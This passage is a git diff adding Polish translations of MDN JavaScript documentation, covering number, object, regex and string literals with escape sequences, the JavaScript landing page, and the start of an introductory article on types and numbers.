+<p>Wykładnik potęgi oznaczami małą lub wielką literą "e", a następnie liczbą całkowitą która także może zawierać znak "+" lub "-". Literał zmiennoprzecinkowy musi zawierać conajmniej jedną cyfre oraz przecinek wymiennie z literą "e" (lub "E"). </p>
+
+<p>Przykładowymi literałamy zmiennoprzecinkowymi są  3.1415, -3.1E12, .1e12, oraz 2E-12.</p>
+
+<p>Ogólna składnia wyrażenia przedstawiona jest na poniższym przykładzie: :</p>
+
+<pre class="eval">[(+|-)][digits][.digits][(E|e)[(+|-)]digits]
+</pre>
+
+<p>Na przykład:</p>
+
+<pre class="eval">3.14
+2345.789
+.3333333333333333333
+-.283185307179586
+</pre>
+
+<h3 id="Literały_obiektowe">Literały obiektowe</h3>
+
+<p>Literałem obiektowym nazywamy listę złożoną z zera lub większej ilości par indeks - wartość, zamkniętych w nawiasy klamrowe (<code>{}</code>). Należy pamiętać by nie używać literałów obiektowych na początku wyrażeń, gdyż może to spowodować błąd programu lub zachowanie którego nie możemy przewidzieć. Jest to wynikiem zachowania intepretera, który odczyta otwierający nawias klamrowy jako początek bloku. </p>
+
+<p>W poniższym przykładzie ilustrujemy literał obiektowy tworząc go i przypisując do zmiennej  <code>samochod</code>, następnie definiujemy element <code>mojSamochod</code>, którego wartośc ustalamy na <code>"Saturn"</code>, do drugiego elementu przypisujemy wynik wywołania funkcji TypSamochodu("Honda"), a trzeci element <code>specjalizacja</code> reprezentuje wcześniej zainicjalizowaną zmienną <code>Sprzedaz</code>.</p>
+
+<pre class="brush: js">var Sprzedaz = "Toyota";
+
+function TypSamochodu(nazwa) {
+ if (nazwa == "Honda") {
+ return nazwa;
+ } else {
+ return "Niestety nie sprzedajemy samochodow marki" + " + nazwa + ".";
+ }
+}
+
+var samochod = { mojSamochod: "Saturn", znajdzSamochod: TypSamochodu("Honda"), specializacja: Sprzedaz };
+
+console.log(samochod.mojSamochod); // Saturn
+console.log(samochod.znajdzSamochod); // Honda
+console.log(samochod.specjalizacja); // Toyota
+</pre>
+
+<p>Dodatkowo możemy użyć literału numerycznego lub znakowego jako własności obiektu, a także zagnieżdzać je jeden w drugim. Poniższy przykład ilustruje użycie tych metod.</p>
+
+<pre class="brush: js">var samochod = { wieleSamochodow: {a: "Saab", "b": "Jeep"}, 7: "Mazda" };
+
+console.log(samochod.wieleSamochodow.b); // Jeep
+console.log(samochod[7]); // Mazda
+</pre>
+
+<p>Własności obiektu mogą być reprezentowane przez łańcuch znaków, także pusty. Jeżeli jego nazwa nie byłaby prawidłowym <a href="/en-US/docs/Web/JavaScript/Guide/Values,_variables,_and_literals#Variables">identifikatorem</a> JavaScript musi być ujęta w cudzysłowach.</p>
+
+<p>Nazwy własności które nie są prawidłowe nie mogą być dostępne za pomocą operatora kropki (.), natomiast można je wywołać oraz zmieniać dzięki wykorzystaniu notacji tablicowej ("[]").</p>
+
+<pre class="brush: js">var niestandardoweNazwyWlasnosci = {
+ "": "Pusty lancuch",
+ "!": "Bang!"
+}
+console.log(niestandardoweNazwyWlasnosci.""); // SyntaxError: Unexpected string
+console.log(niestandardoweNazwyWlasnosci[""]); // Pusty lancuch
+console.log(niestandardoweNazwyWlasnosci.!); // SyntaxError: Unexpected token !
+console.log(niestandardoweNazwyWlasnosci["!"]); // Bang!</pre>
+
+<p>Warto zapamiętać:</p>
+
+<pre class="brush: js">var foo = {a: "alfa", 2: "dwa"};
+console.log(foo.a); // alfa
+console.log(foo[2]); // dwa
+//console.log(foo.2); // Error: missing ) after argument list
+//console.log(foo[a]); // Error: a is not defined
+console.log(foo["a"]); // alfa
+console.log(foo["2"]); // dwa
+</pre>
+
+<h3 id="Literały_RegExp">Literały RegExp</h3>
+
+<p>Literały regex są szablonem zamkniętym pomiędzy ukośnikami. Poniższy przykład obrazuje regex.</p>
+
+<pre>var re = /ab+c/</pre>
+
+<h3 id="Literały_łańcuchowe">Literały łańcuchowe</h3>
+
+<p>Literałem łancuchowym nazywamy zero lub więcej pojedyńczych znaków ujętych w podwójny (") lub pojedyńczy (') cudzysłów. Należy pamiętać by otwarcie i zamnięcie łańcucha zostało wyrażone za pomocą tego samego wariantu. Przykłady literałów łańcuchowych:</p>
+
+<ul>
+ <li><code>"foo"</code></li>
+ <li><code>'bar'</code></li>
+ <li><code>"1234"</code></li>
+ <li><code>"jedna linia \n nastepna linia"</code></li>
+ <li><code>"Kot Jana"</code></li>
+</ul>
+
+<p>Na literale łancuchowym możemy wywołać wszystkie metody jakich moglibyśmy użyć na obiekcie tego typu, ponieważ JavaScript automatycznie konwertuje literał do tymczasowego obiektu, na którym zostaje wywołana metoda a następnie jest on niszczony. Przykładem wykorzystania tej możliwości jest wywołanie <code>String.length</code> :</p>
+
+<pre class="brush: js">console.log("John's cat".length)
+// Wypisze ilość symboli użytych w łancuchu łącznie z białymi znakami
+// W tym przypadku zwróconą wartością jest 10.
+</pre>
+
+<p>Używanie literałów jest korzystniejsze dla wydajności naszych programów, dlatego jeżeli zaawansowane metody obiektu typu String nie są nam potrzebne powinniśmy pozostać przy ich wykorzystaniu. Więcej informacji na ten temat dostępne jest w dokumentacji obiektu {{jsxref("String")}}</p>
+
+<h4 id="Używanie_specjalnych_znaków_w_łańcuchach">Używanie specjalnych znaków w łańcuchach</h4>
+
+<p>W dodatku to podstawowych znaków w łancuchach możemy umieszczać zdefiniowane znaki specjalne, co ilustruje poniższy przykład.</p>
+
+<pre class="brush: js">"jedna linia \n akolejna linia"
+</pre>
+
+<p>Poniższa tabela pokazuje zestaw znaków które możemy wykorzystyć.</p>
+
+<table class="standard-table">
+ <caption>Tabela 2.1 Specjalne znaki w języku JavaScript</caption>
+ <thead>
+ <tr>
+ <th scope="col">Znak</th>
+ <th scope="col">Znaczenie</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><code>\0</code></td>
+ <td>Null Byte</td>
+ </tr>
+ <tr>
+ <td><code>\b</code></td>
+ <td>Backspace</td>
+ </tr>
+ <tr>
+ <td><code>\f</code></td>
+ <td>Form feed</td>
+ </tr>
+ <tr>
+ <td><code>\n</code></td>
+ <td>Nowa linia</td>
+ </tr>
+ <tr>
+ <td><code>\r</code></td>
+ <td>Powrót wózka</td>
+ </tr>
+ <tr>
+ <td><code>\t</code></td>
+ <td>Tabulatura</td>
+ </tr>
+ <tr>
+ <td><code>\v</code></td>
+ <td>Wertykalna tabulatura</td>
+ </tr>
+ <tr>
+ <td><code>\'</code></td>
+ <td>Apostrof lub pojedyńczy cudzysłów</td>
+ </tr>
+ <tr>
+ <td><code>\"</code></td>
+ <td>Podwójny cudzysłów</td>
+ </tr>
+ <tr>
+ <td><code>\\</code></td>
+ <td>Backslash</td>
+ </tr>
+ <tr>
+ <td><code>\<em>XXX</em></code></td>
+ <td>Znak zakodowany w formacie Latin-1 składający się z trzech znaków w systemie oktalnym, z przedzialu od 0 do 377. Przykładowo, sekwencja \251 reprezentuje symbol praw autorskich.</td>
+ </tr>
+ <tr>
+ </tr>
+ <tr>
+ <td><code>\x<em>XX</em></code></td>
+ <td>Znak zakodowany w formacie Latin-1 składający się z dwóch znaków w systemie heksadecymalnym, z przedzialu od 00 do FF. Przykładowo, sekwencja \xA9 reprezentuje symbol praw autorskich</td>
+ </tr>
+ <tr>
+ </tr>
+ <tr>
+ <td><code>\u<em>XXXX</em></code></td>
+ <td>Znak w formacie Unicode wyznaczony przez cztery liczby w formacie heksadecymalnym. Przykładowo \u00A9 w tym formacie reprezentuje symbol praw autorskich, więcej informacji na ten temat znajdziesz w  {{anch("Unicode escape sequences")}}.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h3 id="Unikanie_znaków">Unikanie znaków</h3>
+
+<p>Dla znaków, które nie zostały wylistowane w Tabeli 2.1 poprzedzające je ukośnik jest ignorowany, jednakże jest to  zachowanie  przestrarzałe i należy go unikać. </p>
+
+<p>By zachować znaki specjalne w łańcuchu należy poprzedzić je ukośnikiem, ta funkcjonalność znana jest jako unikanie znaków. Przykładowo:</p>
+
+<pre class="brush: js">var cytat = "On przeczytał \"Kremacje Sama McGee\" autorstwa R.W. Service.";
+console.log(cytat);
+</pre>
+
+<p>Rezultatem uruchomienia powyższego kodu jest: </p>
+
+<pre class="eval">On przeczytał "Kremacje Sama McGee" autorstwa R.W. Service.
+</pre>
+
+<p>By zawrzeć w naszym programie ukośnik należy poprzedzić go drugim ukośnikiem, który spowoduje uniknięcie następującego go znaku. Przykładowo jeżeli chcemy przypisać do zmiennej ścieżkę  <code>c:\temp</code> musimy posłużyć się poniższym zapisem: </p>
+
+<pre class="brush: js">var sciezka = "c:\\temp";
+</pre>
+
+<p>Możemy w ten sposób także  opuszczać znak końca linii, który zostanie usunięty z wartości zwróconej ze zmiennej .</p>
+
+<pre class="brush: js">var str = "ten lancuch \
+jest rozbity \
+na wiele \
+linii."
+console.log(str); // ten lancuch jest rozbity na wiele linii.
+</pre>
+
+<p>Pomimo tego że natywnie JavaScript nie oferuje składni "heredoc" możemy zasymulować ją poprzed dodanie znaku końca linii i opuszczenie automatycznie dodawanego znaku: </p>
+
+<pre class="brush: js">var poem =
+"Na górze róże,\n\
+na dole fiołki.\n\
+Ale z was piękne,\n\
+są aniołki."
+</pre>
+
+<h2 id="Więcej_informacji">Więcej informacji</h2>
+
+<p>Ten rozdział skupia się na podstawowych własnościach składni umożliwiającej deklaracje i posługiwanie się typami. By dowiedzieć się więcej na temat konstrukcji dozwolonych w języku JavaScript odwiedź poniższe rozdziały w tym przewodniku: </p>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Control_flow_and_error_handling">Control flow and error handling</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Loops_and_iteration">Loops and iteration</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Functions">Functions</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Expressions_and_Operators">Expressions and operators</a></li>
+</ul>
+
+<p>W następnym rozdziale skupimy się nad kontrolą logiki programów i obsługą błędów.{{PreviousNext("Web/JavaScript/Guide/Introduction", "Web/JavaScript/Guide/Control_flow_and_error_handling")}}</p>
diff --git a/files/pl/web/javascript/index.html b/files/pl/web/javascript/index.html
new file mode 100644
index 0000000000..ff1b6c50e6
--- /dev/null
+++ b/files/pl/web/javascript/index.html
@@ -0,0 +1,131 @@
+---
+title: JavaScript
+slug: Web/JavaScript
+tags:
+ - JavaScript
+ - Nauka
+translation_of: Web/JavaScript
+---
+<div>{{JsSidebar}}</div>
+
+<p class="summary"><strong>JavaScript</strong> (<strong>JS</strong>) to skryptowy (interpretowany lub kompilowany metodą <a href="https://pl.wikipedia.org/wiki/JIT_(informatyka)">JIT</a>) język programowania, w którym funkcje są "obywatelami pierwszej kategorii" - obiektami, które można przechowywać w zmiennych jako referencje i przekazywać jak każde inne obiekty. Chociaż JavaScript jest najbardziej znany jako język skryptowy dla stron internetowych, używa go również <a class="external" href="https://en.wikipedia.org/wiki/JavaScript#Uses_outside_Web_pages">wiele środowisk poza przeglądarką</a>, takich jak <a class="external" href="/en-US/docs/Glossary/Node.js">Node.js</a>, <a href="https://couchdb.apache.org/">Apache CouchDB</a> czy <a href="http://www.adobe.com/devnet/acrobat/javascript.html">Adobe Acrobat</a>. JavaScript jest językiem opartym na prototypach, wielu paradygmatach, dynamicznej składni, zorientowanym obiektowo, o <a href="https://pl.wikipedia.org/wiki/Programowanie_imperatywne">stylu imperatywnym</a> i <a href="https://pl.wikipedia.org/wiki/Programowanie_deklaratywne">deklaratywnym</a> (np. <a href="https://pl.wikipedia.org/wiki/Programowanie_funkcyjne">programowanie funkcyjne</a>). </p>
+
+<p>Ta sekcja naszego serwisu jest poświęcona samemu językowi JavaScript, a nie zagadnieniom związanym ze stronami internetowymi lub innymi środowiskami hosta. Informacje dotyczące {{Glossary("interfejsów API","Interfejsów API")}} specyficznych dla stron internetowych, prosimy szukać w źródłach: <a href="/pl/docs/Web/API">Internetowe interfesy API</a> i <a href="/pl/docs/Glossary/DOM">DOM</a>.</p>
+
+<p>Standardem dla JavaScript jest <a href="/pl/docs/Web/JavaScript/Language_Resources">ECMAScript</a>. Od roku 2012, wszystkie <a href="https://kangax.github.io/compat-table/es5/">nowoczesne przegladarki</a> całkowicie obsługują ECMAScript 5.1. Starsze przegladarki obsługują co najmniej ECMAScript 3. 17 czerwca 2015, <a href="https://www.ecma-international.org">ECMA International</a> opublikował szóstą główną wersję ECMAScript, która oficjalnie nazywa się ECMAScript 2015, ale początkowo była nazywana też ECMAScript 6 lub ES6. Od tego czasu standardy ECMAScript są wydawane w cyklach rocznych. Niniejszy dokument odnosi sie do szkicu najnowszej wersji, którą obecnie jest <a href="https://tc39.github.io/ecma262/">ECMAScript 2018</a>.</p>
+
+<p>Nie należy mylić JavaScript z <a href="https://pl.wikipedia.org/wiki/Java">językiem programowania Java</a>. Zarówno "Java" jak i "JavaScript" są znakami towarowymi lub zastrzeżonymi znakami towarowymi Oracle w U.S.A. i innych krajach. Jednak obydwa te języki programowania mają bardzo różną składnię, semantykę i zastosowanie.</p>
+
+<div class="column-container">
+<div class="column-half">
+<h2 id="Przewodniki">Przewodniki</h2>
+
+<p>Naucz się programować w JavaScript, studiując nasze przewodniki i samouczki.</p>
+
+<h3 id="Dla_zupełnie_początkujących">Dla zupełnie początkujących</h3>
+
+<p>Jeśli chcesz nauczyć się JavaScript, ale nie masz jeszcze doświadczenia w JavaScript lub programowaniu, przejdź do naszych <a href="/pl/docs/Learn/JavaScript">tematów w strefie nauki JavaScript</a>. Dostępne są tu następujące moduły:</p>
+
+<dl>
+ <dt><a href="/pl/docs/Learn/JavaScript/First_steps">Pierwsze kroki w JavaScript</a></dt>
+ <dd>Znajdziesz tu odpowiedź na kilka podstawowych pytań, takich jak: "Co to jest JavaScript?", "Jak wygląda?" czy "Co można z nim zrobić?", oraz omówienie kluczowych elementów JavaScript, takich jak zmienne, łańcuchy, liczby i tablice.</dd>
+</dl>
+
+<p><strong><a href="/pl/docs/Learn/JavaScript/Building_blocks">Klocki JavaScript</a></strong><br>
+ Kontynuujemy tu opis podstawowych elementów JavaScript, zwracając uwagę na często stosowane typy bloków kodu, takie jak wyrażenia warunkowe, pętle, funkcje i zdarzenia.</p>
+
+<dl>
+ <dt><a href="/pl/docs/Learn/JavaScript/Objects">Wprowadzenie do obiektów JavaScript</a></dt>
+ <dd>W procesie nauki języka JavaScript ważne jest zrozumienie jego obiektowo zorientowanej natury. Ułatwi Ci to dalsze zgłębianie tajników tego języka i tworzenie bardziej efektywnego kodu w przyszłości. Ten moduł ma Ci w tym pomóc.</dd>
+</dl>
+
+<p><a href="https://pl.khanacademy.org/computing/computer-programming/programming#intro-to-programming">Polecamy także kurs z khan academy</a> </p>
+
+<h3 id="Przewodnik_JavaScript">Przewodnik JavaScript</h3>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/pl/docs/Web/JavaScript/Guide">Przewodnik JavaScript</a></dt>
+ <dd>Znacznie bardziej szczegółowy poradnik JavaScript, przeznaczony dla osób z wcześniejszym doświadczeniem programistycznym w innych jezykach.</dd>
+</dl>
+
+<h3 id="Dla_średnozaawansowanych">Dla średnozaawansowanych</h3>
+
+<dl>
+ <dt><a href="/pl/docs/Learn/JavaScript/Client-side_web_APIs">Interfejsy API po stronie klienta</a></dt>
+ <dd>Jeśli chcesz pisać kod JavaScript dla stron internetowych lub aplikacji, działający po stronie klienta nie zajdziesz daleko, zanim nie zaczniesz używać odpowiednich interfejsów API — interfejsów do manipulowania róznymi funkcjami zarówno przeglądarki jak i systemu operacyjnego, w którym owa przeglądarka działa, a nawet manipulowania danymi pochodzącymi z innych witryn lub serwisów internetowych. W tym module dowiesz się, jakie są interfejsy API działające po stronie klienta i jak korzystać z najbardziej popularnych z nich. </dd>
+</dl>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/pl/docs/Web/JavaScript/A_re-introduction_to_JavaScript">Ponowne wprowadzenie do JavaScript</a></dt>
+ <dd>Przegląd zagadnień związanych z JavaScript, przeznaczony dla tych, co już "wiedzą wszystko".</dd>
+</dl>
+
+<dl>
+ <dt> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures">Struktura danych JavaScript</a></dt>
+ <dd>Przegląd dostępnych w JavaScript struktur danych.</dd>
+ <dt><a href="/pl/docs/Web/JavaScript/Equality_comparisons_and_sameness">Porównanie a identyczność</a></dt>
+ <dd>JavaScript zapewnia trzy różne operacje porównywania wartości: ścisłą równość przy użyciu operatoa  <code>===</code>, luźną równość przy uzyciu operatoa <code>==  i metodę </code>{jsxref("Global_Objects/Object/is", "Object.is()")}}.</dd>
+ <dt><a href="https://developer.mozilla.org/pl/docs/Web/JavaScript/Domkniecia">Domknięcia</a></dt>
+ <dd>
+ <p>Domknięcie jest kombinacją funkcji i środowiska leksykalnego, w którym ta funkcja została zadeklarowana.</p>
+ </dd>
+</dl>
+
+<h3 id="Dla_zaawansowanych">Dla zaawansowanych</h3>
+
+<dl>
+ <dt><a href="/pl/docs/Web/JavaScript/Inheritance_and_the_prototype_chain">Dziedziczenie i łańcuch prototypowania</a></dt>
+ <dd>Wyjaśnienie powszechnie nierozumianego i niedocenianego dziedziczenia prototypowego.</dd>
+ <dt><a href="/pl/docs/Web/JavaScript/Reference/Strict_mode">Tryb ścisły</a></dt>
+ <dd>Tryb ścisły powoduje, że nie jest możliwe użycie jakichkolwiek zmiennych przed ich inicjowaniem. Jest to ścisły wariant ECMAScript 5, zwiekszający wydajność i łatwość debugowania.</dd>
+ <dt><a href="https://developer.mozilla.org/pl/docs/Web/JavaScript/Typed_arrays">Tablice typowane JavaScript</a></dt>
+ <dd>Tablice typowane JavaScript dostarczają mechanizm dostępu do surowych danych binarnych.</dd>
+ <dt><a href="https://developer.mozilla.org/pl/docs/Web/JavaScript/Memory_Management">Zarządzanie pamięcią</a></dt>
+ <dd>Cykl życia pamięci i odśmiecanie kolekcji w JavaScript.</dd>
+ <dt><a href="/pl/docs/Web/JavaScript/EventLoop">Model współbieżności i pętla zdarzeń</a></dt>
+ <dd>JavaScript posiada model współbieżny oparty na "pętli zdarzeń".</dd>
+ <dt><a href="/pl/docs/Web/JavaScript/Introduction_to_using_XPath_in_JavaScript">Wprowadzenie do stosowania XPath w JavaScript</a></dt>
+ <dd>W tym dokumencie opisano interfejs przeznaczony do używania w JavaScript biblioteki <a href="/en-US/docs/XPath" title="en/XPath">XPath</a>, w rozszerzeniach i witrynach internetowych.</dd>
+</dl>
+</div>
+
+<div class="column-half">
+<h2 id="Informatory">Informatory</h2>
+
+<p>Przejrzyj kompletną dokumentację <a href="/en-US/docs/Web/JavaScript/Reference">informacyjną JavaScript </a>.</p>
+
+<dl>
+ <dt><a href="/pl/docs/Web/JavaScript/Reference/Global_Objects">Obiekty standardowe</a></dt>
+ <dd>Poznaj standardowe obiekty wbudowane {{jsxref("Array")}}, {{jsxref("Boolean")}}, {{jsxref("Date")}}, {{jsxref("Error")}}, {{jsxref("Function")}}, {{jsxref("JSON")}}, {{jsxref("Math")}}, {{jsxref("Number")}}, {{jsxref("Object")}}, {{jsxref("RegExp")}}, {{jsxref("String")}}, {{jsxref("Map")}}, {{jsxref("Set")}}, {{jsxref("WeakMap")}}, {{jsxref("WeakSet")}} i inne</dd>
+ <dt><a href="/en-US/docs/Web/JavaScript/Reference/Operators">Wyrażenia i operatory</a></dt>
+ <dd>Dowiedz się więcej o zachowywaniu się operatorów JavaScript {{jsxref("Operators/instanceof", "instanceof")}}, {{jsxref("Operators/typeof", "typeof")}}, {{jsxref("Operators/new", "new")}}, {{jsxref("Operators/this", "this")}}, <a href="/pl/docs/Web/JavaScript/Reference/Operators/Operator_Precedence">pierwszeństwo opertaorów</a> itd.</dd>
+ <dt><a href="/pl/docs/Web/JavaScript/Reference/Statements">Instrukcje i deklaracje</a></dt>
+ <dd>Zapoznaj się jak działają {{jsxref("Statements/do...while", "do-while")}}, {{jsxref("Statements/for...in", "for-in")}}, {{jsxref("Statements/for...of", "for-of")}}, {{jsxref("Statements/try...catch", "try-catch")}}, {{jsxref("Statements/let", "let")}}, {{jsxref("Statements/var", "var")}}, {{jsxref("Statements/const", "const")}}, {{jsxref("Statements/if...else", "if-else")}}, {{jsxref("Statements/switch", "switch")}} i inne instrukcje i słowa kluczowe JavaScript.</dd>
+ <dt><a href="/pl/docs/Web/JavaScript/Reference/Functions">Funkcje</a></dt>
+ <dd>Dowiedz się jak pracować z funkcjami JavaScript przy tworzeniu swoich aplikacji.</dd>
+</dl>
+
+<h2 id="Narzędzia_i_zasoby">Narzędzia i zasoby</h2>
+
+<p>Przydatne narzędzia do pisania i debugowania kodu <strong>JavaScript</strong>.</p>
+
+<dl>
+ <dt><a href="/pl/docs/Tools">Narzędzia programistyczne Firefox</a></dt>
+ <dd><a href="/pl/docs/Tools/Scratchpad">Scratchpad</a>, <a href="/pl/docs/Tools/Web_Console">Web Console</a>, <a href="/pl/docs/Tools/Profiler">JavaScript Profiler</a>, <a href="/pl/docs/Tools/Debugger">Debugger</a> itd.</dd>
+ <dt><a href="/pl/docs/Web/JavaScript/Shells">Powłoki JavaScript</a></dt>
+ <dd>Powłoka JavaScript (konsola linii poleceń) pozwala szybko przetestować fragmenty kodu JavaScript.</dd>
+ <dt><a href="https://togetherjs.com/">TogetherJS</a></dt>
+ <dd>Ułatwia współpracę. Dodając TogetherJS do swojej witryny, można wpomóc współpracę, poprzez wzajemną komunikację uzytkowników w czasie rzeczywistym.</dd>
+ <dt><a href="https://stackoverflow.com/questions/tagged/javascript">Stack Overflow</a></dt>
+ <dd>Zapytania oznaczone tagiem "JavaScript" na platformie Stack Overflow.</dd>
+ <dt><a href="/en-US/docs/Web/JavaScript/New_in_JavaScript">Wersje JavaScript i uwagi do wydań</a></dt>
+ <dd>Przeglądaj historię wydań JavaScript i stan implementacji.</dd>
+ <dt><a href="https://jsfiddle.net/">JSFiddle</a></dt>
+ <dd>Edytowanie JavaScript, CSS i HTML z natychmiastowym podglądem wyników. Pozwala na używanie zasobów zewnętrznych i pracę zespołową.</dd>
+ <dt><a href="/pl/docs/Web/JavaScript/JavaScript_templates">Szablony JavaScript</a></dt>
+ <dd>Na tej stronie omawia sie najpopularniejsze systemy szablonowania stosowane w JavaScript.</dd>
+ <dt><a href="https://plnkr.co/">Plunker</a></dt>
+ <dd>Plunker to internetowa społeczność, która współpacuje, tworzy i dzieli się pomysłami na tworzenie stron internetowych. Edytuj w przegladarce swoje pliki JavaScript, CSS i HTML i ogladaj na żywo wyniki swojej pracy i strukturę plików.</dd>
+</dl>
+</div>
+</div>
diff --git a/files/pl/web/javascript/na_początek/index.html b/files/pl/web/javascript/na_początek/index.html
new file mode 100644
index 0000000000..44f95f6c62
--- /dev/null
+++ b/files/pl/web/javascript/na_początek/index.html
@@ -0,0 +1,903 @@
+---
+title: Na początek
+slug: Web/JavaScript/Na_początek
+tags:
+ - JavaScript
+ - Strony_wymagające_dopracowania
+ - Wszystkie_kategorie
+---
+<div class="note"><strong>UWAGA, UWAGA!</strong>: Pomimo tego, że artykuł jest wywieszony jako artykuł do dopracowania, to mimo to, PROSZĘ go na razie <strong>NIE TŁUMACZYĆ</strong>. Powodem jest to, że tekst w sporej mierze jest już przetłumaczony. Więc po prostu szkoda zapału i zużywania energii na coś co już jest w wersji PL. W ramach tego samego czasu możecie przetłumaczyć coś, czego nie ma na 100% w dopracowanych. <a href="pl/Wikipedysta/Ptak82">Ptak82</a> 17:18, 13 mar 2007 (PDT)</div>
+
+<h3 id="Wprowadzenie" name="Wprowadzenie">Wprowadzenie</h3>
+
+<p>Dlaczego ponowne wprowadzenie? Bo <a href="pl/JavaScript">JavaScript</a> można śmiało określić jako <a class="external" href="http://javascript.crockford.com/javascript.html">najbardziej błędnie rozumiany język programowania (en)</a>. Często wyszydzany, nazywany zabawką, pod swoją kuszącą prostotą chowa on szerokie możliwości. W roku 2005 pojawił się szereg wysokiej jakości aplikacji w JavaScripcie, dowodzących, że pogłębiona znajomość tej technologii to to, czym powinien móc się pochwalić każdy twórca serwisów internetowych.</p>
+
+<p>Wygodnie będzie zacząć od kilku słów na temat historii języka. JavaScript stowrzył w roku 1995 Brendan Eich, programista firmy Netscape. Pierwszą przeglądarką z obsługą JavaScriptu była Netscape 2, wydana na początku 1996 r. Pierwotnie język ten miał się nazywać LiveScript, ale nazwę nieszczęśliwie zmieniono z przyczyn marketingowych - chciano skorzystać z popularności Javy, języka firmy Sun Microsystems, mimo że oba te języki niewiele ze sobą łączy. Nazwa "JavaScript" do dziś jest przyczyną wielu nieporozumień.</p>
+
+<p>Microsoft wydał prawie kompatybilną wersję tego języka pod nazwą JScript razem z przeglądarką Internet Explorer 3 kilka miesięcy później. Firma Netscape zgłosiła język do europejskiej organizacji standaryzacyjnej <a class="external" href="http://www.ecma-international.org/">Ecma International</a>, skutkiem czego było pierwsze wydanie standardu <a href="pl/ECMAScript">ECMAScript</a> w roku 1997. Specyfikację tę szeroko uzupełniono i rozbudowano w roku 1999 i opublikowano jako <a class="external" href="http://www.ecma-international.org/publications/standards/Ecma-262.htm">ECMAScript wydanie 3</a> i od tej pory język ten był w miarę stabilny, nie przechodził większych rewolucji, choć obecnie trwają prace nad wydaniem czwartym.</p>
+
+<p>Stabilność ta to dobra wiadomość dla programistów, jako że wszystkie implementacje miały wiele czasu, by w pełni dojść do w miarę zgodnego stanu. W tym artykule skupiam się wyłącznie na dialekcie z wydania trzeciego. Dla uproszczenia pozostanę w tym artykule przy terminie "JavaScript".</p>
+
+<p>W przeciwieństwie do większości języków, JavaScript nie posiada koncepcji wejścia/wyjścia. Zaprojektowany został jako język skryptowy dla maszyny wirtualnej i to ta maszyna wirtualna ma za zadanie zapewnić mechanizmy komunikacji ze światem zewnętrznym. Najbardziej popularną maszyną wirtualną jest przeglądarka, ale interpretery JavaScriptu można znaleźć np. w programach Adobe Acrobat, Photoshop, silniku Yahoo! Widget i innych.</p>
+
+<h3 id="Przegl.C4.85d" name="Przegl.C4.85d">Przegląd</h3>
+
+<p>Zacznijmy od fundamentów każdego języka programowania: typów danych. Programy w JavaScripcie manipulują wartościami, z których każda należy do konkretnego typu. Typy w JavaScripcie to:</p>
+
+<ul>
+ <li><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Number">Number</a> - liczby</li>
+ <li><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/String">String</a> - ciągi znaków (teksty)</li>
+ <li><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Boolean">Boolean</a> - wartości logiczne</li>
+ <li><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Function">Function</a> - funkcje</li>
+ <li><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Object">Object</a> - obiekty</li>
+</ul>
+
+<p>a także Undefined (wartość niezdefiniowana) i Null, które można uważać za nieco dziwne. Ponadto mamy do dyspozycji tablice - <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Array">Array</a> - które są szczególnym rodzajem obiektu. Oprócz tego daty - <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Date">Date</a> i <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/RegExp">wyrażenia regularne</a>, które także są obiektami. Gwoli ścisłości, funkcje także są szczególnymi obiektami.</p>
+
+<p>Diagram typów wygląda zatem następująco:</p>
+
+<ul>
+ <li>Number</li>
+ <li>String</li>
+ <li>Boolean</li>
+ <li>Object
+ <ul>
+ <li>Function</li>
+ <li>Array</li>
+ <li>Date</li>
+ <li>RegExp</li>
+ </ul>
+ </li>
+ <li>Null</li>
+ <li>Undefined</li>
+</ul>
+
+<p>Istnieją także podtypy typu <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Error">Error</a>, ale pomińmy je, żeby za bardzo nie mieszać i pozostańmy przy pierwszym diagramie.</p>
+
+<h3 id="Liczby" name="Liczby">Liczby</h3>
+
+<p>Zgodnie ze specyfikacją, liczby w JavaScripcie są "64-bitowymi wartościami podwójnej precyzji w formacie IEEE 754". Ma to ciekawe skutki. Na przykład, w JavaScripcie nie ma czegoś takiego jak liczba całkowita, dlatego trzeba zachować nieco ostrożności przy operacjach arytmetycznych, zwłaszcza jeśli przyzwyczajeni jesteśmy do C lub Javy. Należy uważać na takie sytuacje:</p>
+
+<pre class="eval">0.1 + 0.2 = 0.30000000000000004
+</pre>
+
+<p>Dostępne są standardowe <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Operatory/Operatory_arytmetyczne">operatory arytmetyczne</a>, w tym oczywiście dodawanie, odejmowanie, modulo (reszta z dzielenia) itd. Jest także specjalny obiekt <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Math">Math</a> pozwalający na stosowanie bardziej zaawansowanych funkcji i stałych matematycznych:</p>
+
+<pre class="eval">Math.sin(3.5);
+d = Math.PI * r * r;
+</pre>
+
+<p>Ciąg znaków można skonwertować do liczby korzystając z wbudowanej funkcji <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Funkcje/parseInt">parseInt()</a></code>. Funkcja ta może posiadać dodatkowy, drugi argument, który określa podstawę systemu dla tej konwersji. Ten argument warto jednak zawsze podawać:</p>
+
+<pre class="eval">&gt; parseInt("123", 10)
+123
+&gt; parseInt("010", 10)
+10
+</pre>
+
+<p>...żeby nie dostać nieoczekiwanych wyników:</p>
+
+<pre class="eval">&gt; parseInt("010")
+8
+</pre>
+
